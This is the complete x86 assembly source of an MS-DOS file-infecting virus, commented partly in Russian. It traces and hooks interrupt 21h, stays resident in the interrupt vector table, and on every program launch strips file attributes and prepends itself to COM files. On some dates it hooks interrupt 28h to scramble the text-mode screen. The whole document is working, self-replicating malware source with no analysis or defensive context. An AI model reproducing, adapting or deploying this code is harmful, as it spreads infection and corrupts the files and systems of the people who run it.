	push	cs				;for retf to user program
	mov	ax,100h
	push	ax

	mov	si,lv				;lengt of vif
	mov	cx,lf				;lengt of file

        xor     dx,dx
	mov	ds,dx				;segment of data ds=0
	cmp	[7bh*4],0b80eh			;vif in memory?
	je	not_21

	mov [1h*4],offset _int1	;<----- int 1
	mov [1h*4+2],cs
	pushf
	pushf
	mov bp,sp
	or [bp],100000000b			;trasse on
	mov ah,0bh				;get satus of keyboard
	popf
	call dword ptr [21h*4]			;<----- int 1

        mov     ax,[21h*4]                      ;set int 21 to vif
	mov	dx,[21h*4+2]
	mov	[7bh*4+offset off-100h],ax
	mov	[7bh*4+offset segg-100h],dx
	mov	word ptr [21h*4],7bh*4+offset _int21-100h
	mov	word ptr [21h*4+2],0		;set int 21 to vif

	push	ds
	push	es				;  swap ds,es
	pop	ds
	pop	es

        push    cx
	push	si
	mov	cx,offset zzz-100h		;lengt of vif
	mov	di,7bh*4			;begin of code
	mov	si,100h				;begin of program
rep	movsb					;copy vif to table of vectors
	pop	si
	pop	cx
	
	mov	ah,2ah
	int	21h
	cmp	dh,11
	jnb	not_kora
	cmp	dh,1
	je	not_kora

	mov	ax,es:[28h*4]
	mov	es:[7bh*4+offset _int28-100h],ax
	mov	ax,es:[28h*4+2]
	mov	es:[7bh*4+offset _int28-100h+2],ax
	mov	es:[28h*4],7bh*4+offset kora-100h
	mov	word ptr es:[28h*4+2],0
not_kora:

	push	ds
	pop	es
	
not_21:
	db	0eah				;jmp far to table of vectors
	dw	7bh*4+offset tabl-100h
	dw	0
lf	dw	15				;lengt of file
lv	dw	offset zzz-100h			;lengt of vif
	db	'{A&A}'				;My copyright
tabl:                                           ;точка входа
        mov     di,100h
	add	si,100h
	push	es
	pop	ds
rep	movsb					;copy file to PSP:100
	retf					;JMP PSP:100

_int1:						;int 1 - обработчик
	push bp				 ;отслеживает току
	push ax				 ;входа int 21 в
	push cx				 ;область DOS
	push ds				 ;и записывает в int 78h
	mov bp,sp
	mov ax,[bp+10]				;cs - int 21
	mov cl,4
	shl ax,cl
	jo irets
	add ax,[bp+8]				;add ip - int 21
	jo irets
	cmp ax,0d000h				;if > D000H - system area
	ja irets
	xor ax,ax
	mov ds,ax
	mov ax,[bp+8]				;ip - int 21 -> int 88
	mov cx,[bp+10]				;cs - int 21 -> int 88
	mov [78h*4],ax
	mov [78h*4+2],cx
	and [bp+12],1111111011111111b		;trasse off
irets:
	pop ds
	pop cx
	pop ax
        pop bp
	iret
_int24:			 ;int 24 - обpаботчик
	add sp,18
	pop	bp
	pop	ds
	pop	es
	stc
_	proc	far
	ret	4
_	endp

kora:	cmp	byte ptr cs:[46ch+1],56
	jne	end_kora
	mov	byte ptr cs:[46ch+1],57
	push	ax
	push	bx
	push	cx
	push	dx
	push	es

        mov     ax,0b800h
	push	ax
	pop	es
	mov	cx,2
do5:
	push	cx
	mov	cx,7
	xor	ax,ax
do1:	push	cx

	mov	cx,2000/7+4		;=====
	mov	bx,ax
do:
	mov	dx,word ptr es:[bx]
	xchg	word ptr es:[bx+4096],dx
	mov	word ptr es:[bx],dx
	add	bx,14
loop    do
	mov	cx,8000
	loop	$
        inc     ax
	inc	ax
	pop	cx
loop	do1
	loop $
	loop $
        pop     cx
loop	do5
	pop	es
	pop	dx
	pop	cx
	pop	bx
	pop	ax
end_kora:
        db      0eah
_int28	dw	0
	dw	0

_int21: ;int 21 - обpаботчик
	push	ax
	push	bx
	push	dx
	push	ds
	push	cx
	push	si
	push	di
	cmp	ax,4b00h			;exec ?
	je	ccc
cnt:	jmp	cont
ccc:
	mov	bx,dx
	cmp	word ptr [bx+8],'DN'		;command.com ?!
	je	cnt

	mov	ax,4300h
	int	78h				;get attribute of file
	jc	cnt
	push	cx

	mov	si,cs:[24h*4]			;save int 24
	mov	di,cs:[24h*4+2]
	mov	word ptr cs:[24h*4],7bh*4+offset _int24 -100h
	mov	word ptr cs:[24h*4+2],0 ;set int 24

	mov	ax,4301h
	xor	cx,cx
	int	78h				;erase attribute
	mov	cs:[24h*4+2],di ;restore int 24
	mov	cs:[24h*4],si
	jc	cont
	push	ds
	push	dx

	mov	ax,3d02h			;open file as random acces
	int	78h
	push	cs
	pop	ds
	mov	bx,ax				;bx = handle
	mov	ax,4202h
	xor	dx,dx
	int	78h				;lseek to end
	cmp	dx,0				;lof < 65535 Byte ?
	jne	close
	cmp	ax,64000
	ja	close
	mov	[7bh*4+offset lf-100h],ax	;lof
	mov	ax,4200h
	int	78h				;lseek to begin
	mov	cx,[7bh*4+offset lf-100h]
	mov	ax,9000h
	mov	ds,ax
	mov	ah,3fh
	int	78h				;read file to memory

	cmp	word ptr [0],'ZM'		;exe ?
	je	close
	cmp	word ptr [0],0b80eh		;vif ?
	je	close

	xor	cx,cx
	mov	ds,cx
	mov	ax,4200h
	int	78h				;lseek to begin
	mov	dx,7bh*4
	mov	cx,offset zzz-100h
	mov	ah,40h
	int	78h				;write vif to file
	mov	cx,[7bh*4+offset lf-100h]
	mov	ax,9000h
	mov	ds,ax
	xor	dx,dx
	mov	ah,40h
	int	78h				;write file to file
close:
	mov	ah,3eh
	int	78h
	pop	dx
	pop	ds
	mov	ax,4301h
	pop	cx
	int	78h				;return attribute
cont:
	pop	di
	pop	si
	pop	cx
	pop	ds
	pop	dx
	pop	bx
	pop	ax
	db	0eah
zzz:
off:	int 20h
segg	dw	0


